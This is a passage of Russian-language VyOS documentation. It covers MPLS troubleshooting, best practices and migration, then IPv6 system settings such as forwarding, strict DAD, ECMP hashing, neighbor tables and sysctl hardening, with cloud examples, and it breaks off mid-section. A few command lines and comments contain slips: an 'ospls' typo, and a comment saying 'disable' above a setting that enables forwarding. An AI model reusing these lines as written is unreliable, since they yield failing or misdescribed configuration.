3. **TTL propagation**:
   ```
   show configuration | grep ttl-propagation
   ```

4. **Interface MTU**:
   MPLS добавляет 4 байта на метку, проверьте MTU:
   ```
   show interfaces ethernet eth1
   ```

5. **Label operations**:
   - Ingress: Проверьте push operation
   - Transit: Проверьте swap operation
   - Egress: Проверьте pop operation

### High CPU usage

**Причины**:

1. **Слишком много LDP сессий**
2. **Частые изменения топологии**
3. **Debug включен**

**Решения**:

1. **Disable debug**:
   ```
   no debug mpls ldp all
   ```

2. **Tune LDP timers**:
   ```
   set protocols mpls ldp discovery hello-interval 10
   set protocols mpls ldp discovery hello-holdtime 30
   commit
   ```

3. **Reduce LDP sessions** (use targeted LDP только где необходимо)

### Label allocation issues

**Проверьте**:

1. **Label range**:
   ```
   show mpls label table
   ```

2. **Доступные labels**:
   По умолчанию: 16-1048575 (1048560 меток)

3. **Label exhaustion**:
   Если labels закончились (маловероятно), увеличьте range:
   ```
   set protocols mpls label-range dynamic-range-start 16
   set protocols mpls label-range dynamic-range-end 1048575
   commit
   ```

## Лучшие практики

### Планирование сети

1. **Дизайн топологии**:
   - Четкое разделение Core/Edge
   - Redundant paths для отказоустойчивости
   - Hierarchical design (Access-Aggregation-Core)

2. **Адресация**:
   - Выделенный loopback subnet для LSR
   - Понятная схема нумерации
   - Документирование

3. **IGP выбор**:
   - OSPF для небольших сетей
   - IS-IS для Service Provider
   - Оптимизация метрик для traffic engineering

### Конфигурация

1. **Всегда используйте loopback**:
   ```
   set protocols mpls ldp router-id 10.255.255.1
   set protocols mpls ldp discovery transport-ipv4-address 10.255.255.1
   ```

2. **MD5 authentication** для критичных LDP сессий:
   ```
   set protocols mpls ldp neighbor 10.255.255.2 password 'SecurePassword!'
   ```

3. **TTL security** для защиты от spoofing:
   ```
   set protocols mpls ldp neighbor 10.255.255.2 ttl-security hops 1
   ```

4. **Session protection**:
   ```
   set protocols mpls ldp session holdtime 180
   set protocols mpls ldp session keepalive-interval 60
   ```

5. **Graceful restart** (если поддерживается):
   Позволяет сохранить forwarding при restart LDP процесса.

### Масштабируемость

1. **Label management**:
   - Используйте liberal retention mode
   - Оптимизируйте label range

2. **LDP optimizations**:
   - Targeted LDP только где необходимо
   - Tune timers для баланса convergence/overhead

3. **BGP для L3VPN**:
   - Route Reflectors для масштабирования iBGP
   - Route filtering

### Мониторинг

1. **LDP сессии**:
   ```
   show mpls ldp neighbor
   ```
   Мониторить state и uptime.

2. **Label bindings**:
   ```
   show mpls ldp binding summary
   ```

3. **MPLS forwarding**:
   ```
   show mpls table
   ```

4. **Performance metrics**:
   - Label operations per second
   - Control plane CPU usage
   - LDP message rate

5. **Alerting**:
   - LDP neighbor down
   - High label allocation
   - Interface flapping

### Безопасность

1. **Control plane protection**:
   ```
   # Firewall для LDP
   set firewall ipv4 input filter rule 100 action accept
   set firewall ipv4 input filter rule 100 source address 10.255.255.0/24
   set firewall ipv4 input filter rule 100 destination port 646
   set firewall ipv4 input filter rule 100 protocol tcp
   ```

2. **Management plane security**:
   - Отдельный management VRF
   - SSH ключи вместо паролей
   - RBAC для операторов

3. **Logging**:
   ```
   set system syslog global facility protocols level info
   ```

### Отказоустойчивость

1. **Redundant topology**:
   - Минимум 2 пути между PE
   - No single point of failure

2. **BFD integration** (когда доступен):
   Быстрое обнаружение отказов.

3. **IGP tuning**:
   ```
   # Faster OSPF convergence
   set protocols ospf timers throttle spf delay 50
   set protocols ospf timers throttle spf initial-holdtime 200
   set protocols ospf timers throttle spf max-holdtime 5000
   ```

4. **Graceful shutdown**:
   Перед обслуживанием:
   ```
   # Drain traffic from LSR
   set protocols ospf max-metric router-lsa administrative
   commit
   ```

## Performance Tuning

### Label Forwarding

**Оптимизация LFIB**:
- Hardware offload (если поддерживается ASIC)
- Label stacking depth (trade-off память/функциональность)

### Control Plane

**LDP tuning**:

```
# Adjust hello timers (баланс detection time vs overhead)
set protocols mpls ldp discovery hello-interval 5
set protocols mpls ldp discovery hello-holdtime 15

# Session timers
set protocols mpls ldp session holdtime 180
set protocols mpls ldp session keepalive-interval 60

commit
```

**Рекомендации**:
- Hello interval: 5-10 секунд (по умолчанию 5)
- Hold time: 3x hello interval минимум
- Keepalive: 60 секунд (стандарт)

### IGP Integration

**OSPF optimizations**:

```
# Fast convergence
set protocols ospf timers throttle spf delay 50
set protocols ospf timers throttle spf initial-holdtime 200
set protocols ospls timers throttle spf max-holdtime 5000

# LSA throttling
set protocols ospf timers lsa min-arrival 100

commit
```

**Metric tuning**:
Используйте OSPF/IS-IS метрики для влияния на LSP пути.

## Интеграция с другими технологиями

### MPLS + BGP

**Use case**: Scalable L3VPN

```
# BGP для customer routes
set protocols bgp system-as 65000
set protocols bgp neighbor 10.255.255.2 remote-as 65000
set protocols bgp neighbor 10.255.255.2 update-source 10.255.255.1

# LDP для label distribution
set protocols mpls ldp router-id 10.255.255.1
set protocols mpls ldp interface eth1

# IGP для reachability
set protocols ospf area 0 network 10.255.255.1/32
```

**Результат**: BGP несет customer routes, MPLS обеспечивает forwarding.

### MPLS + QoS

**Traffic Class** в MPLS header:

```
# QoS policy
set qos policy shaper MPLS-SHAPE class 1 bandwidth 100mbit
set qos policy shaper MPLS-SHAPE class 1 match VOICE dscp ef

set interfaces ethernet eth1 traffic-policy out MPLS-SHAPE

commit
```

**EXP bits** копируются из IP DSCP (если TTL propagation enabled).

### MPLS + IPsec

**Шифрование MPLS трафика** (для sensitive data):

```
# IPsec tunnel для MPLS
set vpn ipsec esp-group MPLS-ESP mode tunnel
set vpn ipsec esp-group MPLS-ESP pfs enable
set vpn ipsec esp-group MPLS-ESP proposal 1 encryption aes256
set vpn ipsec esp-group MPLS-ESP proposal 1 hash sha256

set vpn ipsec ike-group MPLS-IKE proposal 1 encryption aes256
set vpn ipsec ike-group MPLS-IKE proposal 1 hash sha256

set vpn ipsec site-to-site peer 203.0.113.1 ike-group MPLS-IKE
set vpn ipsec site-to-site peer 203.0.113.1 tunnel 1 esp-group MPLS-ESP
set vpn ipsec site-to-site peer 203.0.113.1 tunnel 1 local prefix 10.0.0.0/8
set vpn ipsec site-to-site peer 203.0.113.1 tunnel 1 remote prefix 10.0.0.0/8

commit
```

**Примечание**: MPLS over IPsec добавляет overhead, но обеспечивает confidentiality.

## Миграция на MPLS

### Этапы внедрения

**Фаза 1: Planning**
1. Аудит существующей сети
2. Определение требований (bandwidth, QoS, VPN)
3. Выбор дизайна (LDP vs RSVP-TE)
4. Лабораторное тестирование

**Фаза 2: Core Deployment**
1. Внедрение MPLS на core роутерах (P)
2. Настройка IGP
3. Активация LDP
4. Верификация LSP

**Фаза 3: Edge Deployment**
1. Настройка PE роутеров
2. Конфигурация VRF (если L3VPN)
3. BGP интеграция
4. Тестирование с pilot customers

**Фаза 4: Migration**
1. Постепенный перевод трафика на MPLS
2. Мониторинг производительности
3. Оптимизация
4. Decommission legacy сетей

### Parallel Running

**Запуск MPLS параллельно с IP**:

```
# Existing IP routing (OSPF)
set protocols ospf area 0 network 10.0.0.0/8

# New MPLS/LDP
set protocols mpls interface eth1
set protocols mpls ldp interface eth1
set protocols mpls ldp router-id 10.255.255.1

commit
```

**Преимущества**:
- Zero downtime migration
- Rollback возможность
- Постепенное тестирование

**Недостатки**:
- Увеличенная сложность
- Дополнительные ресурсы

## Следующие шаги

- [BGP](/docs/vyos/routing/vyos-bgp/) - для L3VPN и inter-AS routing
- [OSPF](/docs/vyos/routing/vyos-ospf/) - IGP для MPLS core
- [VRF](/docs/vyos/vrf/) - Virtual Routing and Forwarding
- [QoS](/docs/vyos/qos/) - Quality of Service с MPLS
- [Firewall](/docs/vyos/firewall/) - защита MPLS сети

## Справочные материалы

**RFC**:
- RFC 3031 - MPLS Architecture
- RFC 3032 - MPLS Label Stack Encoding
- RFC 5036 - LDP Specification
- RFC 4364 - BGP/MPLS IP VPNs (L3VPN)
- RFC 3209 - RSVP-TE Extensions for LSP Tunnels
- RFC 4379 - LSP Ping and Traceroute
- RFC 5920 - Security Framework for MPLS

**VyOS Documentation**:
- https://docs.vyos.io/en/latest/configuration/protocols/mpls.html

**Книги**:
- "MPLS Fundamentals" - Luc De Ghein
- "MPLS and VPN Architectures" - Pepelnjak, Guichard
- "Traffic Engineering with MPLS" - Osborne, Simha


---

# IPv6 - Системные настройки IPv6

Source: https://opennix.org/docs/vyos/system/vyos-ipv6/



Системные настройки IPv6 в VyOS обеспечивают управление параметрами IPv6 на уровне всей системы, включая forwarding, Duplicate Address Detection (DAD), multipath routing, neighbor discovery и другие критичные параметры сетевого стека IPv6.

## Основные возможности

- **IPv6 Forwarding**: Управление маршрутизацией IPv6 пакетов между интерфейсами
- **Strict DAD**: Строгий режим обнаружения дублирующихся адресов
- **Multipath Hashing**: Layer 4 хеширование для балансировки IPv6 трафика
- **Neighbor Table**: Управление таблицей соседей IPv6 (аналог ARP для IPv4)
- **Nexthop Tracking**: Контроль отслеживания next-hop для динамической маршрутизации
- **Interface-specific Settings**: Отключение IPv6 на конкретных интерфейсах
- **Sysctl Parameters**: Низкоуровневые параметры ядра для IPv6

## Обзор IPv6 в VyOS

VyOS полностью поддерживает IPv6 и работает в режиме dual-stack (одновременно IPv4 и IPv6) по умолчанию. Системные настройки IPv6 позволяют контролировать поведение IPv6 стека на уровне ядра операционной системы.

### Ключевые отличия от IPv4

- **Neighbor Discovery Protocol (NDP)** вместо ARP
- **SLAAC (Stateless Address Autoconfiguration)** для автоматической настройки
- **Router Advertisement (RA)** для объявления префиксов
- **Duplicate Address Detection (DAD)** для предотвращения конфликтов адресов
- **Privacy Extensions (RFC 4941)** для временных адресов
- **128-битные адреса** вместо 32-битных

## IPv6 Forwarding

### Описание

IPv6 forwarding управляет способностью системы маршрутизировать IPv6 пакеты между интерфейсами. По умолчанию VyOS работает как роутер с включенным IPv6 forwarding.

### Конфигурация

```bash
# ВНИМАНИЕ: Эта команда ОТКЛЮЧАЕТ IPv6 forwarding
# Используется только в специальных случаях (firewall без маршрутизации)
set system ipv6 disable-forwarding

commit
save
```

**Важно**:
- IPv6 forwarding включен по умолчанию на VyOS
- Команда `disable-forwarding` отключает маршрутизацию IPv6
- Для работы роутера forwarding должен быть ВКЛЮЧЕН
- Отключайте только если VyOS используется как endpoint, а не роутер

### Проверка состояния

```bash
# Проверить IPv6 forwarding в ядре
sysctl net.ipv6.conf.all.forwarding
# Должно быть: net.ipv6.conf.all.forwarding = 1 (для роутера)

# Проверить конфигурацию VyOS
show configuration system ipv6 | grep forwarding

# Если видим "disable-forwarding" - forwarding выключен
```

### Применение

- **Роутеры**: Forwarding должен быть ВКЛЮЧЕН (по умолчанию)
- **Firewall без маршрутизации**: Можно отключить
- **Endpoint системы**: Отключить для безопасности

## Strict DAD (Duplicate Address Detection)

### Описание

Strict DAD (Duplicate Address Detection) - строгий режим обнаружения дублирующихся IPv6 адресов. При обнаружении дублирующегося Link-Local адреса, IPv6 полностью отключается на интерфейсе.

### Как работает DAD

1. При назначении IPv6 адреса, система отправляет Neighbor Solicitation (NS) для проверки уникальности
2. Если другой узел использует этот адрес, он ответит Neighbor Advertisement (NA)
3. При получении NA:
   - **Обычный режим**: Адрес помечается как duplicate, но интерфейс продолжает работать
   - **Strict DAD**: IPv6 полностью отключается на интерфейсе

### Конфигурация

```bash
# Включить strict DAD
set system ipv6 strict-dad

commit
save
```

### Проверка

```bash
# Проверить конфигурацию
show configuration system ipv6

# Проверить состояние IPv6 адресов
show interfaces

# Проверить логи для сообщений о duplicate addresses
show log | match "duplicate"
```

### Пример сценария

```bash
# Ситуация: В сети два роутера с одинаковым Link-Local адресом
# fe80::1 настроен на двух разных интерфейсах в одном сегменте

# Без strict-dad:
# - Адрес помечается как DAD failed
# - Интерфейс продолжает работать с другими адресами

# Со strict-dad:
# - IPv6 полностью отключается на интерфейсе
# - Предотвращается потенциальная некорректная маршрутизация
```

### Применение

- **Production сети**: Рекомендуется включать для предотвращения IPv6 конфликтов
- **Managed Infrastructure**: Обязательно при автоматической конфигурации
- **Cloud Environments**: Критично для Yandex Cloud, VK Cloud (автоматическое назначение адресов)

## Multipath Hashing для IPv6

### Описание

Multipath hashing определяет алгоритм распределения IPv6 трафика между несколькими равноценными путями (ECMP - Equal-Cost Multi-Path). Layer 4 хеширование использует информацию транспортного уровня для обеспечения консистентной маршрутизации.

### Конфигурация

```bash
# Включить Layer 4 хеширование для IPv6 multipath
set system ipv6 multipath layer4-hashing

commit
save
```

### Как работает Layer 4 Hashing

**Без layer4-hashing** (по умолчанию):
- Используется только Source IPv6 и Destination IPv6
- Хеш: `hash(src_ipv6, dst_ipv6)`

**С layer4-hashing**:
- Используется Source IPv6, Destination IPv6, Protocol, Source Port, Destination Port
- Хеш: `hash(src_ipv6, dst_ipv6, protocol, src_port, dst_port)`

### Преимущества Layer 4 Hashing

1. **Сохранение порядка пакетов**: Все пакеты одной TCP/UDP сессии идут по одному пути
2. **Лучшее распределение**: Более равномерная балансировка между путями
3. **Избежание переупорядочивания**: Предотвращает TCP retransmits из-за out-of-order пакетов
4. **Per-flow балансировка**: Каждый поток трафика (flow) получает свой путь

### Пример конфигурации ECMP с IPv6

```bash
# Настроить два равноценных IPv6 маршрута
set protocols static route6 2001:db8:100::/48 next-hop 2001:db8:1::1
set protocols static route6 2001:db8:100::/48 next-hop 2001:db8:1::2

# Включить layer4-hashing
set system ipv6 multipath layer4-hashing

commit
save
```

### Проверка

```bash
# Проверить IPv6 маршруты с ECMP
show ipv6 route

# Должны видеть несколько next-hop для одного префикса
# Example:
# S>  2001:db8:100::/48 [1/0] via 2001:db8:1::1, eth0, weight 1, 00:01:23
#                              via 2001:db8:1::2, eth1, weight 1, 00:01:23

# Проверить sysctl параметр
sysctl net.ipv6.fib_multipath_hash_policy
# Значение: 1 (layer4 hashing)
```

### Применение

- **Dual-WAN роутеры**: Балансировка между двумя IPv6 каналами
- **BGP ECMP**: Распределение трафика между несколькими BGP next-hops
- **Data Center**: Load balancing между серверами
- **ISP Networks**: Равномерное распределение в core сети

## Neighbor Table Size

### Описание

Neighbor Table - это IPv6 эквивалент ARP cache для IPv4. Хранит соответствие между IPv6 адресами и MAC адресами. Размер таблицы критичен для больших сетей.

### Конфигурация

```bash
# Настроить максимальный размер neighbor table
set system ipv6 neighbor table-size 8192

# Доступные значения: 1024, 2048, 4096, 8192, 16384, 32768

commit
save
```

### Выбор размера таблицы

| Размер сети | Рекомендуемый table-size | Применение |
|-------------|-------------------------|------------|
| < 100 хостов | 1024 (по умолчанию) | Малые офисы |
| 100-500 хостов | 2048 | Средние офисы |
| 500-2000 хостов | 4096 | Большие офисы, филиалы |
| 2000-5000 хостов | 8192 | Корпоративные сети |
| 5000-15000 хостов | 16384 | Data centers |
| > 15000 хостов | 32768 | ISP, крупные ЦОД |

### Проверка

```bash
# Показать текущие IPv6 neighbors
show ipv6 neighbors

# Пример вывода:
# IPv6 Address                  Interface    Link-layer Address    State    Age
# fe80::250:56ff:fe12:3456     eth1         00:50:56:12:34:56     REACHABLE 15
# 2001:db8:1::100              eth1         00:50:56:12:34:57     STALE     120

# Подсчитать количество записей
show ipv6 neighbors | grep -c REACHABLE

# Проверить sysctl параметры
sysctl net.ipv6.neigh.default.gc_thresh1
sysctl net.ipv6.neigh.default.gc_thresh2
sysctl net.ipv6.neigh.default.gc_thresh3
```

### Neighbor Discovery States

- **INCOMPLETE**: Адрес разрешается, NS отправлен
- **REACHABLE**: Адрес доступен, подтверждено в течение ReachableTime
- **STALE**: Запись устарела, требуется подтверждение при использовании
- **DELAY**: Ожидание подтверждения reachability
- **PROBE**: Активная проверка reachability (Neighbor Unreachability Detection)
- **FAILED**: Neighbor недоступен

### Расширенная настройка через sysctl

```bash
# Настроить garbage collection thresholds
sudo sysctl -w net.ipv6.neigh.default.gc_thresh1=1024
sudo sysctl -w net.ipv6.neigh.default.gc_thresh2=4096
sudo sysctl -w net.ipv6.neigh.default.gc_thresh3=8192

# gc_thresh1: Минимум записей до начала GC
# gc_thresh2: Мягкий лимит (GC становится агрессивнее)
# gc_thresh3: Жесткий лимит (новые записи не создаются)

# Постоянная конфигурация
sudo tee /etc/sysctl.d/99-ipv6-neighbor.conf > /dev/null <<'EOF'
net.ipv6.neigh.default.gc_thresh1 = 1024
net.ipv6.neigh.default.gc_thresh2 = 4096
net.ipv6.neigh.default.gc_thresh3 = 8192
net.ipv6.neigh.default.gc_interval = 30
net.ipv6.neigh.default.gc_stale_time = 60
EOF

sudo sysctl -p /etc/sysctl.d/99-ipv6-neighbor.conf
```

## Nexthop Tracking

### Описание

Nexthop tracking (NHT) контролирует, как динамические протоколы маршрутизации отслеживают доступность next-hop адресов. Опция `no-resolve-via-default` запрещает использовать default route для разрешения next-hop.

### Конфигурация

```bash
# Запретить разрешение next-hop через default route
set system ipv6 nht no-resolve-via-default

commit
save
```

### Как работает Nexthop Tracking

**Без no-resolve-via-default** (по умолчанию):
```
# BGP neighbor 2001:db8:100::1
# Routing table:
# ::/0 via 2001:db8:1::1
#
# BGP считает 2001:db8:100::1 доступным через default route
# Сессия BGP устанавливается
```

**С no-resolve-via-default**:
```
# BGP neighbor 2001:db8:100::1
# Routing table:
# ::/0 via 2001:db8:1::1
# НЕТ специфичного маршрута к 2001:db8:100::1
#
# BGP НЕ считает 2001:db8:100::1 доступным
# Сессия BGP не устанавливается
```

### Применение

**Рекомендуется включать**:
- В BGP сетях для предотвращения false-positive доступности peers
- При использовании IBGP с loopback адресами
- В OSPF/IS-IS для контроля next-hop разрешения

**Не включать**:
- Если BGP peers доступны только через default route
- В простых конфигурациях с одним upstream провайдером

### Пример с BGP

```bash
# BGP конфигурация с no-resolve-via-default
set system ipv6 nht no-resolve-via-default

# BGP peers должны иметь специфичные маршруты
set protocols bgp local-as 65001
set protocols bgp neighbor 2001:db8:100::1 remote-as 65002
set protocols bgp neighbor 2001:db8:100::1 address-family ipv6-unicast

# Добавить статический маршрут к BGP peer
set protocols static route6 2001:db8:100::1/128 next-hop 2001:db8:1::1

commit
save
```

## Отключение IPv6 на интерфейсах

### Глобальное отключение IPv6

```bash
# ВНИМАНИЕ: Полностью отключает IPv6 на всей системе
set system ipv6 disable

commit
save
```

**Применение**: Используется только если IPv6 не планируется использовать вообще. Уменьшает поверхность атаки и снижает overhead.

### Проверка

```bash
# Проверить отключен ли IPv6
show configuration system ipv6

# Проверить в ядре
sysctl net.ipv6.conf.all.disable_ipv6
# Значение: 1 (IPv6 отключен)

# Проверить интерфейсы (не должно быть IPv6 адресов)
show interfaces
```

### Отключение IPv6 на конкретном интерфейсе

VyOS не имеет встроенной команды для отключения IPv6 на конкретном интерфейсе через CLI. Используется sysctl:

```bash
# Отключить IPv6 на eth0
sudo sysctl -w net.ipv6.conf.eth0.disable_ipv6=1

# Постоянная конфигурация
sudo tee /etc/sysctl.d/99-disable-ipv6-eth0.conf > /dev/null <<'EOF'
net.ipv6.conf.eth0.disable_ipv6 = 1
EOF

sudo sysctl -p /etc/sysctl.d/99-disable-ipv6-eth0.conf
```

### Применение selective disable

- **Отключить на WAN** (если провайдер не предоставляет IPv6)
- **Отключить на management интерфейсах** (для безопасности)
- **Оставить на LAN** (для dual-stack клиентов)

## Sysctl Parameters для IPv6

### Критичные параметры безопасности

```bash
# Отключить прием Router Advertisements (для роутеров)
sudo sysctl -w net.ipv6.conf.all.accept_ra=0
sudo sysctl -w net.ipv6.conf.default.accept_ra=0

# Отключить Router Advertisement forwarding
sudo sysctl -w net.ipv6.conf.all.forwarding=1

# Отключить прием redirects
sudo sysctl -w net.ipv6.conf.all.accept_redirects=0
sudo sysctl -w net.ipv6.conf.default.accept_redirects=0

# Отключить source routing
sudo sysctl -w net.ipv6.conf.all.accept_source_route=0
sudo sysctl -w net.ipv6.conf.default.accept_source_route=0

# Постоянная конфигурация
sudo tee /etc/sysctl.d/99-ipv6-security.conf > /dev/null <<'EOF'
# IPv6 Security Parameters
net.ipv6.conf.all.accept_ra = 0
net.ipv6.conf.default.accept_ra = 0
net.ipv6.conf.all.accept_redirects = 0
net.ipv6.conf.default.accept_redirects = 0
net.ipv6.conf.all.accept_source_route = 0
net.ipv6.conf.default.accept_source_route = 0
net.ipv6.conf.all.forwarding = 1
EOF

sudo sysctl -p /etc/sysctl.d/99-ipv6-security.conf
```

### Privacy Extensions (RFC 4941)

```bash
# Включить privacy extensions для временных адресов
# (обычно на клиентах, не на роутерах)
sudo sysctl -w net.ipv6.conf.all.use_tempaddr=2
sudo sysctl -w net.ipv6.conf.default.use_tempaddr=2

# 0 = отключено
# 1 = включено, но предпочтение публичным адресам
# 2 = включено, предпочтение временным адресам

# Настроить время жизни временных адресов
sudo sysctl -w net.ipv6.conf.all.temp_valid_lft=86400
sudo sysctl -w net.ipv6.conf.all.temp_prefered_lft=14400
```

### Duplicate Address Detection

```bash
# Количество NS сообщений для DAD (по умолчанию 1)
sudo sysctl -w net.ipv6.conf.all.dad_transmits=1
sudo sysctl -w net.ipv6.conf.default.dad_transmits=1

# Оптимистичный DAD (использовать адрес до завершения DAD)
sudo sysctl -w net.ipv6.conf.all.optimistic_dad=0
sudo sysctl -w net.ipv6.conf.default.optimistic_dad=0
```

### Router Advertisement Parameters

```bash
# Максимальное количество RA для обработки
sudo sysctl -w net.ipv6.conf.all.max_addresses=16

# Время жизни default route из RA
sudo sysctl -w net.ipv6.route.max_size=4096

# Autoconf (SLAAC) параметры
sudo sysctl -w net.ipv6.conf.all.autoconf=1
sudo sysctl -w net.ipv6.conf.default.autoconf=1
```

### Performance Tuning для IPv6

```bash
sudo tee /etc/sysctl.d/99-ipv6-performance.conf > /dev/null <<'EOF'
# IPv6 Performance Parameters

# Neighbor Table Size
net.ipv6.neigh.default.gc_thresh1 = 1024
net.ipv6.neigh.default.gc_thresh2 = 4096
net.ipv6.neigh.default.gc_thresh3 = 8192
net.ipv6.neigh.default.gc_interval = 30
net.ipv6.neigh.default.gc_stale_time = 60

# Route Cache
net.ipv6.route.max_size = 16384
net.ipv6.route.gc_interval = 30
net.ipv6.route.gc_timeout = 60
net.ipv6.route.gc_min_interval = 5

# IPv6 Fragment Reassembly
net.ipv6.ip6frag_high_thresh = 4194304
net.ipv6.ip6frag_low_thresh = 3145728
net.ipv6.ip6frag_time = 60

# ICMPv6 Rate Limiting
net.ipv6.icmp.ratelimit = 1000

# Multipath Hashing
net.ipv6.fib_multipath_hash_policy = 1
EOF

sudo sysctl -p /etc/sysctl.d/99-ipv6-performance.conf
```

## Примеры конфигурации

### 1. Dual-Stack роутер для Yandex Cloud

**Задача**: Настроить VyOS в Yandex Cloud с dual-stack IPv4/IPv6.

```bash
# Системные настройки IPv6
set system ipv6 multipath layer4-hashing
set system ipv6 strict-dad
set system ipv6 neighbor table-size 4096

# WAN интерфейс (eth0) - получение IPv6 от Yandex Cloud
set interfaces ethernet eth0 address dhcp
set interfaces ethernet eth0 address dhcpv6
set interfaces ethernet eth0 ipv6 address autoconf

# LAN интерфейс (eth1) - раздача IPv4 и IPv6
set interfaces ethernet eth1 address 192.168.1.1/24
set interfaces ethernet eth1 address 2001:db8:1::1/64

# DHCPv4 сервер для LAN
set service dhcp-server shared-network-name LAN subnet 192.168.1.0/24 range 0 start 192.168.1.100
set service dhcp-server shared-network-name LAN subnet 192.168.1.0/24 range 0 stop 192.168.1.200
set service dhcp-server shared-network-name LAN subnet 192.168.1.0/24 option default-router 192.168.1.1
set service dhcp-server shared-network-name LAN subnet 192.168.1.0/24 option name-server 192.168.1.1

# Router Advertisement для IPv6 (SLAAC)
set service router-advert interface eth1 prefix 2001:db8:1::/64
set service router-advert interface eth1 name-server 2001:4860:4860::8888
set service router-advert interface eth1 name-server 2001:4860:4860::8844

# DHCPv6 сервер для дополнительных опций
set service dhcpv6-server shared-network-name LAN subnet 2001:db8:1::/64
set service dhcpv6-server shared-network-name LAN subnet 2001:db8:1::/64 name-server 2001:4860:4860::8888
set service dhcpv6-server shared-network-name LAN subnet 2001:db8:1::/64 name-server 2001:4860:4860::8844

# NAT для IPv4 (IPv6 работает без NAT)
set nat source rule 100 outbound-interface eth0
set nat source rule 100 source address 192.168.1.0/24
set nat source rule 100 translation address masquerade

# Firewall для IPv6 (разрешить ICMPv6)
set firewall name WAN6_LOCAL default-action drop
set firewall name WAN6_LOCAL rule 10 action accept
set firewall name WAN6_LOCAL rule 10 state established
set firewall name WAN6_LOCAL rule 10 state related
set firewall name WAN6_LOCAL rule 10 description 'Allow established/related'

set firewall name WAN6_LOCAL rule 20 action accept
set firewall name WAN6_LOCAL rule 20 protocol ipv6-icmp
set firewall name WAN6_LOCAL rule 20 description 'Allow ICMPv6'

set firewall interface eth0 local name WAN6_LOCAL

commit
save
```

**Дополнительные sysctl для Yandex Cloud**:
```bash
sudo tee /etc/sysctl.d/99-yandex-cloud-ipv6.conf > /dev/null <<'EOF'
# Yandex Cloud IPv6 Settings

# Принимать RA только на WAN
net.ipv6.conf.eth0.accept_ra = 2
net.ipv6.conf.eth0.autoconf = 1
net.ipv6.conf.eth1.accept_ra = 0

# Forwarding
net.ipv6.conf.all.forwarding = 1

# Security
net.ipv6.conf.all.accept_redirects = 0
net.ipv6.conf.all.accept_source_route = 0

# Neighbor table для небольшой сети
net.ipv6.neigh.default.gc_thresh1 = 512
net.ipv6.neigh.default.gc_thresh2 = 2048
net.ipv6.neigh.default.gc_thresh3 = 4096
EOF

sudo sysctl -p /etc/sysctl.d/99-yandex-cloud-ipv6.conf
```

**Проверка конфигурации**:
```bash
# Проверить IPv6 адреса
show interfaces

# Проверить IPv6 connectivity
ping6 2001:4860:4860::8888

# Проверить Router Advertisement
show ipv6 route

# Должны видеть:
# - Link-local адреса на всех интерфейсах (fe80::...)
# - Global unicast адрес на eth0 от Yandex Cloud
# - Configured адрес на eth1 (2001:db8:1::1/64)

# Проверить neighbor discovery
show ipv6 neighbors
```

### 2. IPv6-only сеть для VK Cloud

**Задача**: Настроить VyOS в VK Cloud для IPv6-only инфраструктуры.

```bash
# Системные настройки IPv6
set system ipv6 multipath layer4-hashing
set system ipv6 strict-dad
set system ipv6 neighbor table-size 8192
set system ipv6 nht no-resolve-via-default

# WAN интерфейс - только IPv6
set interfaces ethernet eth0 address dhcpv6
set interfaces ethernet eth0 ipv6 address autoconf
set interfaces ethernet eth0 description 'WAN VK Cloud IPv6'

# LAN интерфейс - только IPv6
set interfaces ethernet eth1 address 2001:db8:100::1/64
set interfaces ethernet eth1 description 'LAN IPv6-only'

# Router Advertisement для клиентов
set service router-advert interface eth1 prefix 2001:db8:100::/64
set service router-advert interface eth1 prefix 2001:db8:100::/64 preferred-lifetime 14400
set service router-advert interface eth1 prefix 2001:db8:100::/64 valid-lifetime 86400
set service router-advert interface eth1 name-server 2001:4860:4860::8888
set service router-advert interface eth1 name-server 2001:4860:4860::8844
set service router-advert interface eth1 other-config-flag

# DHCPv6 сервер (stateful для управления адресацией)
set service dhcpv6-server shared-network-name LAN subnet 2001:db8:100::/64
set service dhcpv6-server shared-network-name LAN subnet 2001:db8:100::/64 range 0 start 2001:db8:100::1000
set service dhcpv6-server shared-network-name LAN subnet 2001:db8:100::/64 range 0 stop 2001:db8:100::1fff
set service dhcpv6-server shared-network-name LAN subnet 2001:db8:100::/64 name-server 2001:4860:4860::8888
set service dhcpv6-server shared-network-name LAN subnet 2001:db8:100::/64 name-server 2001:4860:4860::8844

# Firewall для IPv6
set firewall name WAN6_IN default-action drop
set firewall name WAN6_IN rule 10 action accept
set firewall name WAN6_IN rule 10 state established
set firewall name WAN6_IN rule 10 state related

set firewall name WAN6_IN rule 20 action drop
set firewall name WAN6_IN rule 20 state invalid

set firewall name WAN6_IN rule 30 action accept
set firewall name WAN6_IN rule 30 protocol ipv6-icmp

set firewall name WAN6_LOCAL default-action drop
set firewall name WAN6_LOCAL rule 10 action accept
set firewall name WAN6_LOCAL rule 10 state established
set firewall name WAN6_LOCAL rule 10 state related

set firewall name WAN6_LOCAL rule 20 action accept
set firewall name WAN6_LOCAL rule 20 protocol ipv6-icmp

set firewall name WAN6_LOCAL rule 30 action accept
set firewall name WAN6_LOCAL rule 30 source address fe80::/10
set firewall name WAN6_LOCAL rule 30 description 'Allow link-local'

set firewall interface eth0 in name WAN6_IN
set firewall interface eth0 local name WAN6_LOCAL

# Отключить IPv4 (опционально, если действительно IPv6-only)
# set system ip disable-forwarding

commit
save
```

**Специфичные настройки для IPv6-only**:
```bash
sudo tee /etc/sysctl.d/99-vk-cloud-ipv6-only.conf > /dev/null <<'EOF'
# VK Cloud IPv6-only Configuration

# IPv6 Forwarding
net.ipv6.conf.all.forwarding = 1
net.ipv6.conf.default.forwarding = 1

# Accept RA только на WAN (для получения default route)
net.ipv6.conf.eth0.accept_ra = 2
net.ipv6.conf.eth0.autoconf = 1
net.ipv6.conf.eth1.accept_ra = 0
net.ipv6.conf.eth1.autoconf = 0

# Router Advertisement (роутер должен отправлять RA)
net.ipv6.conf.eth1.forwarding = 1

# Увеличить neighbor table для большой IPv6 сети
net.ipv6.neigh.default.gc_thresh1 = 2048
net.ipv6.neigh.default.gc_thresh2 = 4096
net.ipv6.neigh.default.gc_thresh3 = 8192

# Multipath hashing
net.ipv6.fib_multipath_hash_policy = 1

# Security
net.ipv6.conf.all.accept_redirects = 0
net.ipv6.conf.default.accept_redirects = 0
net.ipv6.conf.all.accept_source_route = 0
net.ipv6.conf.default.accept_source_route = 0

# Disable IPv4 (опционально)
# net.ipv4.conf.all.forwarding = 0
EOF

sudo sysctl -p /etc/sysctl.d/99-vk-cloud-ipv6-only.conf
```

**Проверка IPv6-only конфигурации**:
```bash
# Проверить получение IPv6 от VK Cloud
show interfaces ethernet eth0

# Должны видеть:
# - Link-local адрес (fe80::...)
# - Global unicast адрес от DHCPv6/SLAAC

# Проверить IPv6 routing
